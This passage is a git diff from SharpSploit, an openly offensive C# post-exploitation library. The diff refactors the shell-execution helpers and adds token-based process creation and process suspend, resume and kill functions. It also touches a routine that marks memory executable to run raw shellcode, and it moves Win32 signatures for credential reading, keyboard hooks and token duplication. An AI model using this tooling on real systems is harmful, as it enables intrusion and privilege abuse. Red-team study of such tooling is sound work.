The ShellCommand to execute, including any arguments. /// Optional alternative username to execute ShellCommand as. /// Optional alternative Domain of the username to execute ShellCommand as. /// Optional password to authenticate the username to execute the ShellCommand as. - /// Ouput of the ShellCommand. + /// Empty string, no output is captured when UseShellExecute is true. public static string ShellCmdExecute(string ShellCommand, string Username = "", string Domain = "", string Password = "") { return ShellExecute("cmd.exe /c " + ShellCommand, Username, Domain, Password); } /// - /// Executes a specified Shell command from a specified directory, optionally with an alternative username and password. + /// Executes a specified command, optionally with an alternative username and password. /// - /// The ShellCommand to execute, including any arguments. + /// The ShellCommand to execute, including any arguments. + /// Switch: true to use ShellExecute, false to use CreateProcess. + /// Optional alternative username to execute ShellCommand as. + /// Optional alternative Domain of the username to execute ShellCommand as. + /// Optional password to authenticate the username to execute the ShellCommand as. + /// Output of the command if UseShellExecute false, empty string if true. + public static string Execute(string Command, bool UseShellExecute = false, string Username = "", string Domain = "", string Password = "") + { + return Execute(Command, Environment.CurrentDirectory, UseShellExecute, Username, Domain, Password); + } + + /// + /// Executes a specified shell command from a specified directory, optionally with an alternative username and password. + /// + /// The Command to execute, including any arguments. /// The Path of the directory from which to execute the ShellCommand. + /// Switch: true to use ShellExecute, false to use CreateProcess. /// Optional alternative username to execute ShellCommand as. /// Optional alternative Domain of the username to execute ShellCommand as. /// Optional password to authenticate the username to execute the ShellCommand as. - /// Output of the ShellCommand. - public static string ShellExecuteWithPath(string ShellCommand, string Path, string Username = "", string Domain = "", string Password = "") + /// Output of the command if UseShellExecute false, empty string if true. + public static string Execute(string Command, string Path, bool UseShellExecute = false, string Username = "", string Domain = "", string Password = "") { - if (ShellCommand == null || ShellCommand == "") return ""; + if (string.IsNullOrEmpty(Command)) { return ""; } - string ShellCommandName = ShellCommand.Split(' ')[0]; + string ShellCommandName = Command.Split(' ')[0]; string ShellCommandArguments = ""; - if (ShellCommand.Contains(" ")) + if (Command.Contains(" ")) { - ShellCommandArguments = ShellCommand.Replace(ShellCommandName + " ", ""); + ShellCommandArguments = Command.Replace(ShellCommandName + " ", ""); } - Process shellProcess = new Process(); - if (Username != "") + using (Process process = new Process()) { - shellProcess.StartInfo.UserName = Username; - shellProcess.StartInfo.Domain = Domain; - System.Security.SecureString SecurePassword = new System.Security.SecureString(); - foreach (char c in Password) + if (Username != "") + { + process.StartInfo.UserName = Username; + process.StartInfo.Domain = Domain; + System.Security.SecureString SecurePassword = new System.Security.SecureString(); + foreach (char c in Password) + { + SecurePassword.AppendChar(c); + } + process.StartInfo.Password = SecurePassword; + } + process.StartInfo.CreateNoWindow = true; + process.StartInfo.WorkingDirectory = Path; + process.StartInfo.FileName = ShellCommandName; + process.StartInfo.Arguments = ShellCommandArguments; + process.StartInfo.UseShellExecute = UseShellExecute; + if (!process.StartInfo.UseShellExecute) { - SecurePassword.AppendChar(c); + process.StartInfo.RedirectStandardOutput = true; + process.StartInfo.RedirectStandardError = true; + StringBuilder output = new StringBuilder(); + process.OutputDataReceived += (sender, args) => { output.AppendLine(args.Data); }; + process.ErrorDataReceived += (sender, args) => { output.AppendLine(args.Data); }; + process.Start(); + process.BeginOutputReadLine(); + process.BeginErrorReadLine(); + process.WaitForExit(); + return output.ToString(); } - shellProcess.StartInfo.Password = SecurePassword; + process.Start(); + process.WaitForExit(); + return ""; } - shellProcess.StartInfo.FileName = ShellCommandName; - shellProcess.StartInfo.Arguments = ShellCommandArguments; - shellProcess.StartInfo.WorkingDirectory = Path; - shellProcess.StartInfo.UseShellExecute = false; - shellProcess.StartInfo.CreateNoWindow = true; - shellProcess.StartInfo.RedirectStandardOutput = true; - shellProcess.StartInfo.RedirectStandardError = true; + } - var output = new StringBuilder(); - shellProcess.OutputDataReceived += (sender, args) => { output.AppendLine(args.Data); }; - shellProcess.ErrorDataReceived += (sender, args) => { output.AppendLine(args.Data); }; + /// + /// Creates a process with a specified impersonated token. Requires SeAssignPrimaryTokenPrivilege, + /// typically only available to adminsitrative users. + /// + /// Calvin Hedler (@001SPARTaN) + /// The Command to execute, including any arguments. + /// A handle to the impersonated token. + /// Output of the created process. + public static string CreateProcessWithToken(string Command, IntPtr hToken) + { + return CreateProcessWithToken(Command, Environment.CurrentDirectory, hToken); + } - shellProcess.Start(); + /// + /// Creates a process with a specified impersonated token. Requires SeAssignPrimaryTokenPrivilege, + /// typically only available to adminsitrative users. + /// + /// Calvin Hedler (@001SPARTaN) + /// The command to execute, including any arguments. + /// The path of the directory from which to execute the shell command. + /// A handle to the impersonated token. + /// Output of the created process. + public static string CreateProcessWithToken(string Command, string Path, IntPtr hToken) + { + if (string.IsNullOrEmpty(Command)) { return ""; } - shellProcess.BeginOutputReadLine(); - shellProcess.BeginErrorReadLine(); - shellProcess.WaitForExit(); + using (AnonymousPipeServerStream pipeServer = new AnonymousPipeServerStream(PipeDirection.In, HandleInheritability.Inheritable)) + { + Win32.ProcessThreadsAPI._PROCESS_INFORMATION ProcInfo; + using (AnonymousPipeClientStream pipeClient = new AnonymousPipeClientStream(PipeDirection.Out, pipeServer.GetClientHandleAsString())) + { + Win32.ProcessThreadsAPI._STARTUPINFO StartupInfo = new Win32.ProcessThreadsAPI._STARTUPINFO + { + wShowWindow = 0, + hStdOutput = pipeClient.SafePipeHandle.DangerousGetHandle(), + hStdError = pipeClient.SafePipeHandle.DangerousGetHandle(), + dwFlags = (uint)(Win32.ProcessThreadsAPI.STARTF.STARTF_USESTDHANDLES | Win32.ProcessThreadsAPI.STARTF.STARTF_USESHOWWINDOW) + }; + StartupInfo.cb = (uint)Marshal.SizeOf(StartupInfo); + + if (!PInvoke.Win32.Advapi32.CreateProcessWithTokenW( + hToken, // hToken + Win32.Advapi32.LOGON_FLAGS.NONE, // dwLogonFlags + null, // lpApplicationName + Command, // lpCommandLine + Win32.Advapi32.CREATION_FLAGS.NONE, // dwCreationFlags + IntPtr.Zero, // lpEnvironment + Path, // lpCurrentDirectory + ref StartupInfo, // lpStartupInfo + out ProcInfo) // lpProcessInfo + ) + { + return $"Error: {new Win32Exception(Marshal.GetLastWin32Error()).Message}"; + } + } + using (StreamReader reader = new StreamReader(pipeServer)) + { + Thread t = new Thread(() => + { + PInvoke.Win32.Kernel32.WaitForSingleObject(ProcInfo.hProcess, 0xFFFFFFFF); + }); + t.Start(); + string output = reader.ReadToEnd(); + t.Join(); + return output; + } + } + } + + /// + /// Kills a specified process. + /// + /// The PID of the process to kill. + /// bool + public static bool KillProcess(int Pid) + { + Process process = Process.GetProcessById(Pid); + process.Kill(); + return process.HasExited; + } + + /// + /// Kills all processes with a given name. + /// + /// The name of the process(es) to kill. + /// bool + public static bool KillProcess(string Name) + { + foreach (Process process in Process.GetProcessesByName(Name)) + { + if (!KillProcess(process.Id)) + { + return false; + } + } + return true; + } - return output.ToString().TrimEnd(); + /// + /// Suspends a process specificed by Id. + /// + /// The ID of the process to suspend. + /// bool + public static bool SuspendProcess(int Pid) + { + Process process = Process.GetProcessById(Pid); + bool success = true; + foreach (ProcessThread thread in process.Threads) + { + IntPtr pOpenThread = PInvoke.Win32.Kernel32.OpenThread((uint)Win32.Kernel32.ThreadAccess.SuspendResume, false, (uint)thread.Id); + if (pOpenThread != IntPtr.Zero && PInvoke.Win32.Kernel32.SuspendThread(pOpenThread) == -1) + { + success = false; + } + } + return success; + } + + /// + /// Suspends all processes with a given Name. + /// + /// The name of the process(es) to suspend. + /// bool + public static bool SuspendProcess(string Name) + { + foreach (Process process in Process.GetProcessesByName(Name)) + { + if (!SuspendProcess(process.Id)) + { + return false; + } + } + return true; + } + + /// + /// Resumes a process specified by Id. + /// + /// The Id of the process to resume. + /// bool + public static bool ResumeProcess(int Pid) + { + Process process = Process.GetProcessById(Pid); + bool success = true; + foreach (ProcessThread thread in process.Threads) + { + IntPtr pOpenThread = PInvoke.Win32.Kernel32.OpenThread((uint)Win32.Kernel32.ThreadAccess.SuspendResume, false, (uint)thread.Id); + if (pOpenThread != IntPtr.Zero && PInvoke.Win32.Kernel32.ResumeThread(pOpenThread) == -1) + { + success = false; + } + } + return success; + } + + /// + /// Resumes all processes with a given Name. + /// + /// The name of the process(es) to resume. + /// bool + public static bool ResumeProcess(string Name) + { + foreach (Process process in Process.GetProcessesByName(Name)) + { + if (!ResumeProcess(process.Id)) + { + return false; + } + } + return true; } } } \ No newline at end of file diff --git a/SharpSploit/Execution/ShellCode.cs b/SharpSploit/Execution/ShellCode.cs index 1c67d48..40b672d 100644 --- a/SharpSploit/Execution/ShellCode.cs +++ b/SharpSploit/Execution/ShellCode.cs @@ -5,6 +5,8 @@ using System; using System.Runtime.InteropServices; +using PInvoke = SharpSploit.Execution.PlatformInvoke; + namespace SharpSploit.Execution { /// @@ -31,7 +33,7 @@ public static bool ShellCodeExecute(byte[] ShellCode) Marshal.Copy(ShellCode, 0, ptr, ShellCode.Length); uint flOldProtect = 0; - if (!Win32.Kernel32.VirtualProtect(ptr, (UIntPtr)ShellCode.Length, 0x40, out flOldProtect)) + if (!PInvoke.Win32.Kernel32.VirtualProtect(ptr, (UIntPtr)ShellCode.Length, 0x40, out flOldProtect)) { return false; } diff --git a/SharpSploit/Execution/Win32.cs b/SharpSploit/Execution/Win32.cs index 168ff39..11623c5 100644 --- a/SharpSploit/Execution/Win32.cs +++ b/SharpSploit/Execution/Win32.cs @@ -3,14 +3,12 @@ // License: BSD 3-Clause using System; -using System.Text; using System.Runtime.InteropServices; -using MW32 = Microsoft.Win32; namespace SharpSploit.Execution { /// - /// Win32 is a library of PInvoke signatures for Win32 API functions. + /// Win32 is a library of enums and structures for Win32 API functions. /// /// /// A majority of this library is adapted from signatures found at www.pinvoke.net. @@ -19,9 +17,6 @@ public static class Win32 { public static class Kernel32 { - public static uint MEM_COMMIT = 0x1000; - public static uint MEM_RESERVE = 0x2000; - [StructLayout(LayoutKind.Sequential)] public struct IMAGE_BASE_RELOCATION { @@ -39,163 +34,6 @@ public struct IMAGE_IMPORT_DESCRIPTOR public uint FirstThunk; } - [DllImport("kernel32.dll")] - public static extern IntPtr GetCurrentThread(); - - [DllImport("kernel32.dll")] - public static extern IntPtr GetCurrentProcess(); - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] - public static extern IntPtr GetProcAddress( - IntPtr hModule, - string procName - ); - - [DllImport("kernel32.dll")] - public static extern void GetSystemInfo( - out WinBase._SYSTEM_INFO lpSystemInfo - ); - - [DllImport("kernel32.dll", SetLastError = true)] - public static extern IntPtr GlobalSize( - IntPtr hMem - ); - - [DllImport("kernel32.dll", SetLastError = true)] - public static extern bool IsWow64Process( - IntPtr hProcess, - out bool Wow64Process - ); - - [DllImport("kernel32.dll")] - public static extern IntPtr OpenProcess( - ProcessAccessFlags dwDesiredAccess, - bool bInheritHandle, - UInt32 dwProcessId - ); - - [DllImport("kernel32.dll")] - public static extern Boolean OpenProcessToken( - IntPtr hProcess, - UInt32 dwDesiredAccess, - out IntPtr hToken - ); - - [DllImport("kernel32.dll")] - public static extern Boolean OpenThreadToken( - IntPtr ThreadHandle, - UInt32 DesiredAccess, - Boolean OpenAsSelf, - ref IntPtr TokenHandle - ); - - [DllImport("kernel32.dll")] - public static extern IntPtr OpenThread( - UInt32 dwDesiredAccess, - Boolean bInheritHandle, - UInt32 dwThreadId - ); - - [DllImport("kernel32.dll")] - public static extern Boolean ReadProcessMemory( - IntPtr hProcess, - UInt32 lpBaseAddress, - IntPtr lpBuffer, - UInt32 nSize, - ref UInt32 lpNumberOfBytesRead - ); - - [DllImport("kernel32.dll", EntryPoint = "ReadProcessMemory")] - public static extern Boolean ReadProcessMemory64( - IntPtr hProcess, - UInt64 lpBaseAddress, - IntPtr lpBuffer, - UInt64 nSize, - ref UInt32 lpNumberOfBytesRead - ); - - [DllImport("kernel32.dll")] - public static extern UInt32 SearchPath( - String lpPath, - String lpFileName, - String lpExtension, - UInt32 nBufferLength, - [MarshalAs(UnmanagedType.LPTStr)] - StringBuilder lpBuffer, - ref IntPtr lpFilePart - ); - - [DllImport("kernel32.dll", EntryPoint = "VirtualQueryEx")] - public static extern Int32 VirtualQueryEx32( - IntPtr hProcess, - IntPtr lpAddress, - out WinNT._MEMORY_BASIC_INFORMATION32 lpBuffer, - UInt32 dwLength - ); - - [DllImport("kernel32.dll", EntryPoint = "VirtualQueryEx")] - public static extern Int32 VirtualQueryEx64( - IntPtr hProcess, - IntPtr lpAddress, - out WinNT._MEMORY_BASIC_INFORMATION64 lpBuffer, - UInt32 dwLength - ); - - [DllImport("kernel32.dll")] - public static extern IntPtr VirtualAlloc( - IntPtr lpStartAddr, - uint size, - uint flAllocationType, - uint flProtect - ); - - [DllImport("kernel32.dll")] - public static extern bool VirtualProtect( - IntPtr lpAddress, - UIntPtr dwSize, - uint flNewProtect, - out uint lpflOldProtect - ); - - [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] - public static extern IntPtr LoadLibrary( - string lpFileName - ); - - [DllImport("kernel32.dll", CharSet = CharSet.Auto)] - public static extern IntPtr GetModuleHandle(string lpModuleName); - - [DllImport("kernel32.dll")] - public static extern IntPtr CreateThread( - IntPtr lpThreadAttributes, - uint dwStackSize, - IntPtr lpStartAddress, - IntPtr param, - uint dwCreationFlags, - IntPtr lpThreadId - ); - - [DllImport("kernel32.dll")] - public static extern UInt32 WaitForSingleObject( - IntPtr hHandle, - UInt32 dwMilliseconds - ); - - [DllImport("kernel32.dll", SetLastError = true)] - public static extern IntPtr LocalFree( - IntPtr hMem - ); - - [DllImport("kernel32.dll")] - public static extern Boolean CloseHandle( - IntPtr hProcess - ); - - [DllImport("kernel32.dll")] - public static extern void GetNativeSystemInfo( - ref SYSTEM_INFO lpSystemInfo - ); - public struct SYSTEM_INFO { public ushort wProcessorArchitecture; @@ -238,6 +76,162 @@ public enum ProcessAccessFlags : UInt32 PROCESS_VM_WRITE = 0x0020, SYNCHRONIZE = 0x00100000 } + + [Flags] + public enum FileAccessFlags : UInt32 + { + DELETE = 0x10000, + FILE_READ_DATA = 0x1, + FILE_READ_ATTRIBUTES = 0x80, + FILE_READ_EA = 0x8, + READ_CONTROL = 0x20000, + FILE_WRITE_DATA = 0x2, + FILE_WRITE_ATTRIBUTES = 0x100, + FILE_WRITE_EA = 0x10, + FILE_APPEND_DATA = 0x4, + WRITE_DAC = 0x40000, + WRITE_OWNER = 0x80000, + SYNCHRONIZE = 0x100000, + FILE_EXECUTE = 0x20 + } + + [Flags] + public enum FileShareFlags : UInt32 + { + FILE_SHARE_NONE = 0x0, + FILE_SHARE_READ = 0x1, + FILE_SHARE_WRITE = 0x2, + FILE_SHARE_DELETE = 0x4 + } + + [Flags] + public enum FileOpenFlags : UInt32 + { + FILE_DIRECTORY_FILE = 0x1, + FILE_WRITE_THROUGH = 0x2, + FILE_SEQUENTIAL_ONLY = 0x4, + FILE_NO_INTERMEDIATE_BUFFERING = 0x8, + FILE_SYNCHRONOUS_IO_ALERT = 0x10, + FILE_SYNCHRONOUS_IO_NONALERT = 0x20, + FILE_NON_DIRECTORY_FILE = 0x40, + FILE_CREATE_TREE_CONNECTION = 0x80, + FILE_COMPLETE_IF_OPLOCKED = 0x100, + FILE_NO_EA_KNOWLEDGE = 0x200, + FILE_OPEN_FOR_RECOVERY = 0x400, + FILE_RANDOM_ACCESS = 0x800, + FILE_DELETE_ON_CLOSE = 0x1000, + FILE_OPEN_BY_FILE_ID = 0x2000, + FILE_OPEN_FOR_BACKUP_INTENT = 0x4000, + FILE_NO_COMPRESSION = 0x8000 + } + + [Flags] + public enum StandardRights : uint + { + Delete = 0x00010000, + ReadControl = 0x00020000, + WriteDac = 0x00040000, + WriteOwner = 0x00080000, + Synchronize = 0x00100000, + Required = 0x000f0000, + Read = ReadControl, + Write = ReadControl, + Execute = ReadControl, + All = 0x001f0000, + + SpecificRightsAll = 0x0000ffff, + AccessSystemSecurity = 0x01000000, + MaximumAllowed = 0x02000000, + GenericRead = 0x80000000, + GenericWrite = 0x40000000, + GenericExecute = 0x20000000, + GenericAll = 0x10000000 + } + + [Flags] + public enum ThreadAccess : uint + { + Terminate = 0x0001, + SuspendResume = 0x0002, + Alert = 0x0004, + GetContext = 0x0008, + SetContext = 0x0010, + SetInformation = 0x0020, + QueryInformation = 0x0040, + SetThreadToken = 0x0080, + Impersonate = 0x0100, + DirectImpersonation = 0x0200, + SetLimitedInformation = 0x0400, + QueryLimitedInformation = 0x0800, + All = StandardRights.Required | StandardRights.Synchronize | 0x3ff + } + + [Flags] + public enum AllocationType : uint + { + Commit = 0x1000, + Reserve = 0x2000, + Decommit = 0x4000, + Release = 0x8000, + Reset = 0x80000, + Physical = 0x400000, + TopDown = 0x100000, + WriteWatch = 0x200000, + ResetUndo = 0x1000000, + LargePages = 0x20000000 + } + + [Flags] + public enum MemoryProtection : uint + { + Execute = 0x10, + ExecuteRead = 0x20, + ExecuteReadWrite = 0x40, + ExecuteWriteCopy = 0x80, + NoAccess = 0x01, + ReadOnly = 0x02, + ReadWrite = 0x04, + WriteCopy = 0x08, + GuardModifierflag = 0x100, + NoCacheModifierflag = 0x200, + WriteCombineModifierflag = 0x400 + } + + public enum PSS_CAPTURE_FLAGS : uint + { + PSS_CAPTURE_NONE = 0x00000000, + PSS_CAPTURE_VA_CLONE = 0x00000001, + PSS_CAPTURE_RESERVED_00000002 = 0x00000002, + PSS_CAPTURE_HANDLES = 0x00000004, + PSS_CAPTURE_HANDLE_NAME_INFORMATION = 0x00000008, + PSS_CAPTURE_HANDLE_BASIC_INFORMATION = 0x00000010, + PSS_CAPTURE_HANDLE_TYPE_SPECIFIC_INFORMATION = 0x00000020, + PSS_CAPTURE_HANDLE_TRACE = 0x00000040, + PSS_CAPTURE_THREADS = 0x00000080, + PSS_CAPTURE_THREAD_CONTEXT = 0x00000100, + PSS_CAPTURE_THREAD_CONTEXT_EXTENDED = 0x00000200, + PSS_CAPTURE_RESERVED_00000400 = 0x00000400, + PSS_CAPTURE_VA_SPACE = 0x00000800, + PSS_CAPTURE_VA_SPACE_SECTION_INFORMATION = 0x00001000, + PSS_CREATE_BREAKAWAY_OPTIONAL = 0x04000000, + PSS_CREATE_BREAKAWAY = 0x08000000, + PSS_CREATE_FORCE_BREAKAWAY = 0x10000000, + PSS_CREATE_USE_VM_ALLOCATIONS = 0x20000000, + PSS_CREATE_MEASURE_PERFORMANCE = 0x40000000, + PSS_CREATE_RELEASE_SECTION = 0x80000000 + } + + public enum PSS_QUERY_INFORMATION_CLASS + { + PSS_QUERY_PROCESS_INFORMATION = 0, + PSS_QUERY_VA_CLONE_INFORMATION = 1, + PSS_QUERY_AUXILIARY_PAGES_INFORMATION = 2, + PSS_QUERY_VA_SPACE_INFORMATION = 3, + PSS_QUERY_HANDLE_INFORMATION = 4, + PSS_QUERY_THREAD_INFORMATION = 5, + PSS_QUERY_HANDLE_TRACE_INFORMATION = 6, + PSS_QUERY_PERFORMANCE_COUNTERS = 7 + } } public static class User32 @@ -246,42 +240,6 @@ public static class User32 public static int WM_KEYDOWN { get; } = 0x0100; public delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam); - - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - public static extern IntPtr CallNextHookEx( - IntPtr hhk, - int nCode, - IntPtr wParam, - IntPtr lParam - ); - - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - public static extern IntPtr GetForegroundWindow(); - - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - public static extern int GetWindowText( - IntPtr hWnd, - StringBuilder text, - int count - ); - - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - public static extern IntPtr SetWindowsHookEx( - int idHook, - HookProc lpfn, - IntPtr hMod, - uint dwThreadId - ); - - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool UnhookWindowsHookEx(IntPtr hhk); - - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - public static extern int GetWindowTextLength(IntPtr hWnd); - - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - public static extern short GetKeyState(int nVirtKey); } public static class Netapi32 @@ -352,67 +310,6 @@ public SHARE_INFO_1(string netname, uint type, string remark) this.shi1_remark = remark; } } - - [DllImport("netapi32.dll")] - public static extern int NetLocalGroupEnum( - [MarshalAs(UnmanagedType.LPWStr)] string servername, - int level, - out IntPtr bufptr, - int prefmaxlen, - out int entriesread, - out int totalentries, - ref int resume_handle - ); - - [DllImport("netapi32.dll")] - public static extern int NetLocalGroupGetMembers( - [MarshalAs(UnmanagedType.LPWStr)] string servername, - [MarshalAs(UnmanagedType.LPWStr)] string localgroupname, - int level, - out IntPtr bufptr, - int prefmaxlen, - out int entriesread, - out int totalentries, - ref int resume_handle - ); - - [DllImport("netapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern int NetWkstaUserEnum( - string servername, - int level, - out IntPtr bufptr, - int prefmaxlen, - out int entriesread, - out int totalentries, - ref int resume_handle - ); - - [DllImport("netapi32.dll", SetLastError = true)] - public static extern int NetSessionEnum( - [In, MarshalAs(UnmanagedType.LPWStr)] string ServerName, - [In, MarshalAs(UnmanagedType.LPWStr)] string UncClientName, - [In, MarshalAs(UnmanagedType.LPWStr)] string UserName, - int level, - out IntPtr bufptr, - int prefmaxlen, - out int entriesread, - out int totalentries, - ref int resume_handle - ); - - [DllImport("Netapi32.dll", CharSet = CharSet.Unicode)] - public static extern int NetShareEnum( - StringBuilder ServerName, - int level, - ref IntPtr bufPtr, - uint prefmaxlen, - ref int entriesread, - ref int totalentries, - ref int resume_handle - ); - - [DllImport("netapi32.dll", SetLastError = true)] - public static extern int NetApiBufferFree(IntPtr Buffer); } public static class Advapi32 @@ -437,316 +334,47 @@ public static class Advapi32 TOKEN_ADJUST_SESSIONID); public const UInt32 TOKEN_ALT = (TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern Boolean AdjustTokenPrivileges( - IntPtr TokenHandle, - Boolean DisableAllPrivileges, - ref WinNT._TOKEN_PRIVILEGES NewState, - UInt32 BufferLengthInBytes, - ref WinNT._TOKEN_PRIVILEGES PreviousState, - out UInt32 ReturnLengthInBytes - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern Boolean AllocateAndInitializeSid( - ref WinNT._SID_IDENTIFIER_AUTHORITY pIdentifierAuthority, - byte nSubAuthorityCount, - Int32 dwSubAuthority0, - Int32 dwSubAuthority1, - Int32 dwSubAuthority2, - Int32 dwSubAuthority3, - Int32 dwSubAuthority4, - Int32 dwSubAuthority5, - Int32 dwSubAuthority6, - Int32 dwSubAuthority7, - out IntPtr pSid - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern Boolean AllocateAndInitializeSid( - ref WinNT._SID_IDENTIFIER_AUTHORITY pIdentifierAuthority, - byte nSubAuthorityCount, - Int32 dwSubAuthority0, - Int32 dwSubAuthority1, - Int32 dwSubAuthority2, - Int32 dwSubAuthority3, - Int32 dwSubAuthority4, - Int32 dwSubAuthority5, - Int32 dwSubAuthority6, - Int32 dwSubAuthority7, - ref WinNT._SID pSid - ); - - [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] - public static extern bool ConvertSidToStringSid( - IntPtr Sid, - out IntPtr StringSid - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern Boolean CreateProcessAsUser( - IntPtr hToken, - IntPtr lpApplicationName, - IntPtr lpCommandLine, - ref WinBase._SECURITY_ATTRIBUTES lpProcessAttributes, - ref WinBase._SECURITY_ATTRIBUTES lpThreadAttributes, - Boolean bInheritHandles, - CREATION_FLAGS dwCreationFlags, - IntPtr lpEnvironment, - IntPtr lpCurrentDirectory, - ref ProcessThreadsAPI._STARTUPINFO lpStartupInfo, - out ProcessThreadsAPI._PROCESS_INFORMATION lpProcessInfo - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern Boolean CreateProcessAsUserW( - IntPtr hToken, - IntPtr lpApplicationName, - IntPtr lpCommandLine, - IntPtr lpProcessAttributes, - IntPtr lpThreadAttributes, - Boolean bInheritHandles, - CREATION_FLAGS dwCreationFlags, - IntPtr lpEnvironment, - IntPtr lpCurrentDirectory, - ref ProcessThreadsAPI._STARTUPINFO lpStartupInfo, - out ProcessThreadsAPI._PROCESS_INFORMATION lpProcessInfo - ); - - [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] - public static extern bool CreateProcessWithLogonW( - String userName, - String domain, - String password, - int logonFlags, - String applicationName, - String commandLine, - int creationFlags, - IntPtr environment, - String currentDirectory, - ref ProcessThreadsAPI._STARTUPINFO startupInfo, - out ProcessThreadsAPI._PROCESS_INFORMATION processInformation - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern Boolean CreateProcessWithTokenW( - IntPtr hToken, - LOGON_FLAGS dwLogonFlags, - IntPtr lpApplicationName, - IntPtr lpCommandLine, - CREATION_FLAGS dwCreationFlags, - IntPtr lpEnvironment, - IntPtr lpCurrentDirectory, - ref ProcessThreadsAPI._STARTUPINFO lpStartupInfo, - out ProcessThreadsAPI._PROCESS_INFORMATION lpProcessInfo - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern Boolean CredEnumerateW( - String Filter, - Int32 Flags, - out Int32 Count, - out IntPtr Credentials - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern Boolean CredFree( - IntPtr Buffer - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern Boolean CredReadW( - String target, - WinCred.CRED_TYPE type, - Int32 reservedFlag, - out IntPtr credentialPtr - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern Boolean CredWriteW( - ref WinCred._CREDENTIAL userCredential, - UInt32 flags - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern Boolean DuplicateTokenEx( - IntPtr hExistingToken, - UInt32 dwDesiredAccess, - ref WinBase._SECURITY_ATTRIBUTES lpTokenAttributes, - WinNT._SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, - WinNT.TOKEN_TYPE TokenType, - out IntPtr phNewToken - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern Boolean GetTokenInformation( - IntPtr TokenHandle, - WinNT._TOKEN_INFORMATION_CLASS TokenInformationClass, - IntPtr TokenInformation, - UInt32 TokenInformationLength, - out UInt32 ReturnLength - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern Boolean GetTokenInformation( - IntPtr TokenHandle, - WinNT._TOKEN_INFORMATION_CLASS TokenInformationClass, - ref WinNT._TOKEN_STATISTICS TokenInformation, - UInt32 TokenInformationLength, - out UInt32 ReturnLength - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern Boolean ImpersonateLoggedOnUser( - IntPtr hToken - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern Boolean ImpersonateSelf( - WinNT._SECURITY_IMPERSONATION_LEVEL ImpersonationLevel - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern bool LogonUserA( - string lpszUsername, - string lpszDomain, - string lpszPassword, - LOGON_TYPE dwLogonType, - LOGON_PROVIDER dwLogonProvider, - out IntPtr phToken - ); - - [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)] - public static extern bool LookupAccountSid( - String lpSystemName, - //[MarshalAs(UnmanagedType.LPArray)] - IntPtr Sid, - StringBuilder lpName, - ref UInt32 cchName, - StringBuilder ReferencedDomainName, - ref UInt32 cchReferencedDomainName, - out WinNT._SID_NAME_USE peUse - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern Boolean LookupPrivilegeName( - String lpSystemName, - IntPtr lpLuid, - StringBuilder lpName, - ref Int32 cchName - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern Boolean LookupPrivilegeValue( - String lpSystemName, - String lpName, - ref WinNT._LUID luid - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern Boolean PrivilegeCheck( - IntPtr ClientToken, - WinNT._PRIVILEGE_SET RequiredPrivileges, - out IntPtr pfResult - ); - - [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)] - public static extern int RegOpenKeyEx( - UIntPtr hKey, - String subKey, - Int32 ulOptions, - Int32 samDesired, - out UIntPtr hkResult - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern uint RegQueryValueEx( - UIntPtr hKey, - String lpValueName, - Int32 lpReserved, - ref MW32.RegistryValueKind lpType, - IntPtr lpData, - ref Int32 lpcbData - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern Int32 RegQueryInfoKey( - UIntPtr hKey, - StringBuilder lpClass, - ref UInt32 lpcchClass, - IntPtr lpReserved, - out UInt32 lpcSubkey, - out UInt32 lpcchMaxSubkeyLen, - out UInt32 lpcchMaxClassLen, - out UInt32 lpcValues, - out UInt32 lpcchMaxValueNameLen, - out UInt32 lpcbMaxValueLen, - IntPtr lpSecurityDescriptor, - IntPtr lpftLastWriteTime - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern Boolean RevertToSelf(); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern IntPtr OpenSCManager( - string machineName, - string databaseName, - SCM_ACCESS dwAccess - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern IntPtr OpenService( - IntPtr hSCManager, - string lpServiceName, - SERVICE_ACCESS dwDesiredAccess - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern IntPtr CreateService( - IntPtr hSCManager, - string lpServiceName, - string lpDisplayName, - SERVICE_ACCESS dwDesiredAccess, - SERVICE_TYPE dwServiceType, - SERVICE_START 